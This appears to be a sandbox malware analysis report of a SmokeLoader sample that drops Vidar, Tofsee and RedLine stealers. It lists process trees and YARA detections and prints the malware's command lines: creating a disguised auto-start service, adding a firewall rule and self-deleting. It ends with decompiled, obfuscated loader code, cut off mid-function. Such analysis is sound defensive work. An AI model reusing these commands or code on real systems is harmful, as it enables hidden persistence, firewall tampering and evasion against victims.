2022-01-06 20:04:59 UTC	534	IN	Data Raw: 20 54 72 61 63 6b 20 70 61 67 65 20 76 69 65 77 0a 77 2e 67 61 28 27 73 65 6e 64 27 2c 20 27 70 61 67 65 76 69 65 77 27 29 3b 0a 0a 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 76 61 72 20 63 61 74 65 67 6f 72 79 20 3d 20 22 73 70 61 6d 3a 77 61 72 6e 69 6e 67 5f 70 61 67 65 22 2c 0a 73 74 61 74 65 20 3d 20 30 3b 0a 66 75 6e 63 74 69 6f 6e 20 74 72 61 63 6b 48 6f 76 65 72 28 65 29 20 7b 0a 74 72 79 20 7b 0a 73 74 61 74 65 20 3d 20 31 3b 0a 67 61 28 27 73 65 6e 64 27 2c 20 27 65 76 65 6e 74 27 2c 20 63 61 74 65 67 6f 72 79 2c 20 22 53 70 61 6d 20 69 6e 74 65 72 73 74 69 Data Ascii: Track page vieww.ga('send', 'pageview');})(window,document);</script><script type="text/javascript">(function () {var category = "spam:warning_page",state = 0;function trackHover(e) {try {state = 1;ga('send', 'event', category, "Spam intersti

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jan 6, 2022 21:04:35.672408104 CET	25	49848	52.101.24.0	192.168.2.4	220 CY4PEPF00004D3B.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Thu, 6 Jan 2022 20:04:34 +0000

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: 7NAzyCWRyM.exe PID: 6592 Parent PID: 2928

General

Start time:	21:03:01
Start date:	06/01/2022
Path:	C:\Users\user\Desktop\7NAzyCWRyM.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\7NAzyCWRyM.exe"
Imagebase:	0x400000
File size:	306176 bytes
MD5 hash:	23DFE6757086DDE5E8463811731F60C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: 7NAzyCWRyM.exe PID: 6516 Parent PID: 6592

General

Start time:	21:03:03
Start date:	06/01/2022
Path:	C:\Users\user\Desktop\7NAzyCWRyM.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\7NAzyCWRyM.exe"
Imagebase:	0x400000
File size:	306176 bytes
MD5 hash:	23DFE6757086DDE5E8463811731F60C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000002.717525714.0000000000460000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000002.717561910.00000000005A1000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3424 Parent PID: 6516

General

Start time:	21:03:09
Start date:	06/01/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff6fee60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000005.00000000.704358355.0000000004F21000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 4596 Parent PID: 568

General

Start time:	21:03:10
Start date:	06/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 3628 Parent PID: 568

General

Start time:	21:03:28
Start date:	06/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 2456 Parent PID: 568

General

Start time:	21:03:43
Start date:	06/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rffhjft PID: 6604 Parent PID: 968

General

Start time:	21:03:44
Start date:	06/01/2022
Path:	C:\Users\user\AppData\Roaming\rffhjft
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\rffhjft
Imagebase:	0x400000
File size:	306176 bytes
MD5 hash:	23DFE6757086DDE5E8463811731F60C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: rffhjft PID: 3976 Parent PID: 6604

General

Start time:	21:03:46
Start date:	06/01/2022
Path:	C:\Users\user\AppData\Roaming\rffhjft
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\rffhjft
Imagebase:	0x400000
File size:	306176 bytes
MD5 hash:	23DFE6757086DDE5E8463811731F60C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000B.00000002.775218110.00000000004A0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000B.00000002.775267751.00000000005E1000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: 8633.exe PID: 7156 Parent PID: 3424

General

Start time:	21:03:54
Start date:	06/01/2022
Path:	C:\Users\user\AppData\Local\Temp\8633.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\8633.exe
Imagebase:	0x400000
File size:	358912 bytes
MD5 hash:	1F935BFFF0F8128972BC69625E5B2A6C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 26%, Metadefender, Browse Detection: 86%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: svchost.exe PID: 6924 Parent PID: 568

General

Start time:	21:03:55
Start date:	06/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6348 Parent PID: 568

General

Start time:	21:03:57
Start date:	06/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 6780 Parent PID: 6348

General

Start time:	21:03:58
Start date:	06/01/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 7156 -ip 7156
Imagebase:	0x12e0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 6464 Parent PID: 7156

General

Start time:	21:03:59
Start date:	06/01/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7156 -s 520
Imagebase:	0x12e0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: BC2D.exe PID: 2740 Parent PID: 3424

General

Start time:	21:04:02
Start date:	06/01/2022
Path:	C:\Users\user\AppData\Local\Temp\BC2D.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\BC2D.exe
Imagebase:	0x400000
File size:	306176 bytes
MD5 hash:	23DFE6757086DDE5E8463811731F60C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 49%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: BC2D.exe PID: 4100 Parent PID: 2740

General

Start time:	21:04:05
Start date:	06/01/2022
Path:	C:\Users\user\AppData\Local\Temp\BC2D.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\BC2D.exe
Imagebase:	0x400000
File size:	306176 bytes
MD5 hash:	23DFE6757086DDE5E8463811731F60C6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000014.00000002.810053308.00000000004F0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000014.00000002.810181998.00000000006A1000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: DDEE.exe PID: 4284 Parent PID: 3424

General

Start time:	21:04:12
Start date:	06/01/2022
Path:	C:\Users\user\AppData\Local\Temp\DDEE.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\DDEE.exe
Imagebase:	0x400000
File size:	309760 bytes
MD5 hash:	6146E19CEFC8795E7C5743176213B2C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000002.837755684.0000000000672000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000015.00000002.837755684.0000000000672000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: 11C5.exe PID: 740 Parent PID: 3424

General

Start time:	21:04:19
Start date:	06/01/2022
Path:	C:\Users\user\AppData\Local\Temp\11C5.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\11C5.exe
Imagebase:	0x400000
File size:	306688 bytes
MD5 hash:	16F6F63636134A3CE21B0455FAA49719
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000017.00000003.825669935.0000000000560000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000017.00000002.842688686.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000017.00000002.842975552.0000000000540000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: 2203.exe PID: 3492 Parent PID: 3424

General

Start time:	21:04:22
Start date:	06/01/2022
Path:	C:\Users\user\AppData\Local\Temp\2203.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\2203.exe
Imagebase:	0x580000
File size:	538624 bytes
MD5 hash:	9D7EB9BE3B7F3A023430123BA099B0B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000018.00000002.866100742.0000000003981000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: cmd.exe PID: 6696 Parent PID: 740

General

Start time:	21:04:24
Start date:	06/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\olbcncjm\
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5356 Parent PID: 6696

General

Start time:	21:04:24
Start date:	06/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6820 Parent PID: 740

General

Start time:	21:04:25
Start date:	06/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\riwtgmp.exe" C:\Windows\SysWOW64\olbcncjm\
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6776 Parent PID: 6820

General

Start time:	21:04:25
Start date:	06/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 6784 Parent PID: 740

General

Start time:	21:04:25
Start date:	06/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\sc.exe" create olbcncjm binPath= "C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe /d\"C:\Users\user\AppData\Local\Temp\11C5.exe\"" type= own start= auto DisplayName= "wifi support
Imagebase:	0xc80000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 7128 Parent PID: 6784

General

Start time:	21:04:26
Start date:	06/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 1500 Parent PID: 4284

General

Start time:	21:04:26
Start date:	06/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\DDEE.exe" & exit
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 2220 Parent PID: 740

General

Start time:	21:04:26
Start date:	06/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\sc.exe" description olbcncjm "wifi internet conection
Imagebase:	0xc80000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 4780 Parent PID: 1500

General

Start time:	21:04:27
Start date:	06/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6356 Parent PID: 2220

General

Start time:	21:04:27
Start date:	06/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: timeout.exe PID: 1836 Parent PID: 1500

General

Start time:	21:04:27
Start date:	06/01/2022
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 5
Imagebase:	0x330000
File size:	26112 bytes
MD5 hash:	121A4EDAE60A7AF6F5DFA82F7BB95659
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 5668 Parent PID: 740

General

Start time:	21:04:27
Start date:	06/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\sc.exe" start olbcncjm
Imagebase:	0xc80000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 1472 Parent PID: 5668

General

Start time:	21:04:28
Start date:	06/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: riwtgmp.exe PID: 1844 Parent PID: 568

General

Start time:	21:04:29
Start date:	06/01/2022
Path:	C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe /d"C:\Users\user\AppData\Local\Temp\11C5.exe"
Imagebase:	0x400000
File size:	14376448 bytes
MD5 hash:	24B9AD8E98386E381BC876F01D002F2E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000026.00000002.852274958.00000000004A0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000026.00000002.852203023.0000000000470000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000026.00000003.850412720.0000000000490000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000026.00000002.852028217.0000000000400000.00000040.00020000.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: netsh.exe PID: 5812 Parent PID: 740

General

Start time:	21:04:29
Start date:	06/01/2022
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
Imagebase:	0x9f0000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6388 Parent PID: 5812

General

Start time:	21:04:29
Start date:	06/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 2203.exe PID: 1260 Parent PID: 3492

General

Start time:	21:04:32
Start date:	06/01/2022
Path:	C:\Users\user\AppData\Local\Temp\2203.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\2203.exe
Imagebase:	0xcf0000
File size:	538624 bytes
MD5 hash:	9D7EB9BE3B7F3A023430123BA099B0B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000029.00000000.858504517.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000029.00000002.925975800.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000029.00000000.861349217.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000029.00000000.858973232.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000029.00000000.857996787.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: 7NAzyCWRyM.exe PID: 6592 Parent PID: 2928 7NAzyCWRyM.exeCOMMON

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	3.2%
Signature Coverage:	9.7%
Total number of Nodes:	905
Total number of Limit Nodes:	33

Executed Functions

Function 0041AFB0, Relevance: 205.2, APIs: 85, Strings: 32, Instructions: 435
stringtimethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E0041AFB0(void* __ebx, void* __edx) {
				void* __edi;
				void* __esi;
				intOrPtr _t53;
				WCHAR* _t56;
				intOrPtr _t76;
				void* _t162;
				intOrPtr* _t164;
				void* _t167;
				void* _t168;
				void* _t169;
				void* _t170;
				void* _t172;
				void* _t174;
				void* _t175;
				void* _t180;
				void* _t183;
				intOrPtr _t209;
				void* _t210;

				_t168 = __edx;
				_t162 = __ebx;
				E0041BF50(0x1c58);
				_t185 =  *0x44d27c - 0x177;
				if( *0x44d27c == 0x177) {
					E0041B760(_t185, 0x44c878, 0xa04, 0, 0, 0);
					_push(0);
					_push(0);
					E0041C580(_t167, "VirtualProtect", 0);
					E0041C1B0(_t167, 0);
					E0041C160(_t167, 0, 0);
					E0041C020(__ebx, _t168, _t169, 0);
					E0041BFF0(_t167, 0);
					E0041BFC0(_t167, 0, 0);
					_t56 = E0041BFA0(0);
					_t183 = _t183 + 0x40;
				}
				_push(_t162);
				_t180 = 0;
				L3:
				L3:
				if( *0x44d27c == 0x47) {
					GetBinaryTypeW(L"Zowivukivoyujeg", _t183 + 0x14);
					SetCurrentDirectoryA("Dufecewew cofa hijuvonego xuhayururo yeyabon");
					Process32FirstW(0, 0);
					InitializeCriticalSection(0);
					QueryDosDeviceW(0, _t183 + 0xc6c, 0);
					__imp__TerminateJobObject(0,  *(_t183 + 0x14));
					GlobalAddAtomA("parulezizubekehad");
					SetHandleCount(0);
					WriteProfileStringW(L"yumikodapagasulafikizatevaguliwurifelutegesafajatizupog", L"riyijoj", L"mizotegikomo");
					GetFullPathNameW(0, 0, _t183 + 0x146c, 0);
					__imp__FindNextVolumeMountPointA(0, _t183 + 0x6c, 0);
					GetCompressedFileSizeA("rikep", _t183 + 0x1c);
					 *(_t183 + 0x10) = 0;
					asm("stosw");
					FillConsoleOutputCharacterW();
					GetNamedPipeInfo(0, 0, 0, 0, 0);
					lstrcpynW(_t183 + 0x470, L"Barope buyudaloxokigo", 0);
					FatalAppExitW(0, L"Jubu neriri");
					__imp__GetConsoleAliasesLengthW(0, 0, 0, 0,  *(_t183 + 0x14), _t183 + 0x18);
					GetProcessTimes(0, 0, 0, 0, 0);
					EnumResourceNamesW(0, L"ryasonumejawivayupa", 0, 0);
					SetWaitableTimer(0, 0, 0, 0, 0, 0);
					AreFileApisANSI();
					PostQueuedCompletionStatus(0, 0, 0, 0);
					FindClose(0);
					SetEndOfFile(0);
					SetCommMask(0, 0);
					LocalReAlloc(0, 0, 0);
					_t56 = OpenMutexA(0, 0, "lodusirinokubovibugonumubuv");
				}
				if(_t180 == 0x69d) {
					goto L8;
				}
				_t180 = _t180 + 1;
				if(_t180 < 0x1133661) {
					goto L3;
				} else {
				}
				L9:
				_t170 = 0;
				do {
					if(_t170 < 0x5e3) {
						GetLastError();
					}
					if( *0x44d27c == 0x6b) {
						HeapFree(0, 0, 0);
					}
					 *0x44c868 = 0;
					if(_t170 > 0x26e5d &&  *(_t183 + 0x18) != 0xdfe5c2 &&  *((intOrPtr*)(_t183 + 0x4c)) != 0xdf5922 &&  *0x44d27c == 0x28) {
						GetComputerNameW(_t183 + 0x46c, _t183 + 0x18);
						_t56 = OpenMutexA(0, 0, "mehugisaj");
					}
					_t170 = _t170 + 1;
				} while (_t170 < 0x17635b17);
				_t164 = __imp__GetConsoleAliasExesLengthW;
				 *(_t183 + 0x10) = 0;
				do {
					if( *(_t183 + 0x10) == 0x3fa) {
						_t56 = E004190FC(0x44d27c);
					}
					if( *0x44d27c == 0x44d) {
						 *(_t183 + 0x14) = 0;
						asm("stosw");
						WriteConsoleOutputCharacterA(0, "Nukinorokikoxo wasi pujiyerubuxewa hacotahaco", 0,  *(_t183 + 0x18), _t183 + 0x18);
						GetModuleHandleA("sdhfdghdfghdfg");
						GetNumberOfConsoleInputEvents(0, 0);
						FreeEnvironmentStringsA(0);
						ResetWriteWatch(0, 0);
						 *_t164();
						EnumDateFormatsW(0, 0, 0);
						 *_t164();
						__imp__GetConsoleAliasA(0, _t183 + 0x70, 0, 0);
						GetConsoleCP();
						LockFile(0, 0, 0, 0, 0);
						VerLanguageNameW(0, _t183 + 0x46c, 0);
						_t56 = lstrcpyW(_t183 + 0xc6c, L"Coxoxovamiyun kegekukizurare winul");
						__imp__SetFileShortNameA(0, 0);
					}
					 *(_t183 + 0x10) =  *(_t183 + 0x10) + 1;
				} while ( *(_t183 + 0x10) < 0x485ceb);
				E0041AD2F(_t56);
				_t172 = 0x56a5e7;
				do {
					if( *0x44d27c == 0x15) {
						SetThreadLocale(0);
					}
					_t172 = _t172 - 1;
				} while (_t172 != 0);
				 *(_t183 + 0x10) = 0;
				do {
					if( *0x44d27c == 0xfd) {
						FreeEnvironmentStringsA(0);
					}
					if( *(_t183 + 0x10) == 0x3c58) {
						_t76 =  *0x43d008; // 0x3f68ea
						 *0x44d280 = _t76;
					}
					if( *0x44d27c == 0x23) {
						CreateSemaphoreW(0, 0, 0, L"zopobujibavovenejeyejuhuwurulelu");
						GetLocalTime(0);
						FindResourceExA(0, "sinamepizimikezovufofunubirinopevizar", "birifuxuwurifuculesugixibuwozid", 0);
						GetOverlappedResult(0, 0, 0, 0);
						WaitNamedPipeW(0, 0);
						TransmitCommChar(0, 0);
						CreateSemaphoreW(0, 0, 0, 0);
						GetTapeStatus(0);
						PeekConsoleInputW(0, _t183 + 0x2c, 0, _t183 + 0x18);
						GetOverlappedResult(0, 0, 0, 0);
						DisableThreadLibraryCalls(0);
						HeapLock(0);
						TryEnterCriticalSection(_t183 + 0x40);
						GetPrivateProfileStructW(L"fohusumicuxuzujido", L"yecajobuyo", _t183 + 0x70, 0, L"guyohukidizafubemuj");
					}
					 *(_t183 + 0x10) =  *(_t183 + 0x10) + 1;
				} while ( *(_t183 + 0x10) < 0xe6a95);
				_t174 = 0;
				_t209 =  *0x44d27c; // 0xf228
				if(_t209 > 0) {
					do {
						E00418FC0(_t174);
						_t174 = _t174 + 1;
						_t210 = _t174 -  *0x44d27c; // 0xf228
					} while (_t210 < 0);
				}
				_t175 = 0;
				do {
					if(_t175 == 0x26) {
						E00419109();
					}
					_t175 = _t175 + 1;
				} while (_t175 < 0x3dc4b7);
				E0041AD43(); // executed
				if( *0x44d27c == 0x1d) {
					WriteConsoleA(0, 0, 0, _t183 + 0x14, 0);
					EndUpdateResourceW(0, 0);
					DefineDosDeviceW(0, 0, 0);
					GetSystemTimeAdjustment(0, 0, 0);
